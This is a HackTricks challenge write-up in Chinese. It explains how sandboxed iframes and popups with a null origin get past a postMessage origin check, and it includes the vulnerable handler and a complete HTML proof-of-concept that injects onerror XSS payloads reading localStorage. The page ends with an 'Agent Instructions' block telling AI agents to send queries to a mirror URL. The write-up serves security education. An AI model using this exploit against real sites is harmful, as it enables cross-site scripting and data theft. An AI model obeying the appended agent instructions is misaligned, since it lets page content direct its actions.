# Bypassing SOP with Iframes - 1

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中做广告**吗？ 或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## SOP-1中的Iframes

在由[**NDevTK**](https://github.com/NDevTK)和[**Terjanq**](https://github.com/terjanq)创建的[**挑战**](https://github.com/terjanq/same-origin-xss)中，您需要利用代码中的XSS。

```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```

主要问题在于[**主页**](https://so-xss.terjanq.me)使用DomPurify发送`data.body`，因此为了将您自己的html数据发送到该代码，您需要**绕过**`e.origin !== window.origin`。

让我们看看他们提出的解决方案。

### SOP绕过 1 (e.origin === null)

当`//example.org`被嵌入到一个**受沙箱保护的iframe**中时，页面的**origin**将为\*\*`null`**，即**`window.origin === null`**。因此，只需通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe，我们就可以**强制`null` origin\*\*。

如果页面是**可嵌入的**，您可以通过这种方式绕过该保护（可能还需要将cookie设置为`SameSite=None`）。

### SOP绕过 2 (window\.origin === null)

较少人知道的事实是，当设置**沙箱值`allow-popups`时，打开的弹出窗口将继承**所有**受沙箱保护的属性**，除非设置了`allow-popups-to-escape-sandbox`。\
因此，从**null origin**打开一个**弹出窗口**将使弹出窗口内部的\*\*`window.origin`**也变为**`null`\*\*。

### 挑战解决方案

因此，对于这个挑战，可以**创建**一个**iframe**，**打开一个弹出窗口**到具有易受XSS代码处理程序（`/iframe.php`）的页面，因为`window.origin === e.origin`，因为两者都是`null`，所以可以**发送一个将利用XSS的有效负载**。

该**有效负载**将获取**标识符**并将一个**XSS**发送回**顶部页面**（打开弹出窗口的页面），**该页面**将**更改位置**到**易受攻击的**`/iframe.php`。因为标识符是已知的，所以不需要满足条件`window.origin === e.origin`（请记住，origin是来自具有**origin** **`null`的iframe的弹出窗口**）因为`data.identifier === identifier`。然后，**XSS将再次触发**，这次在正确的origin中。

```html
<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks上做广告**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
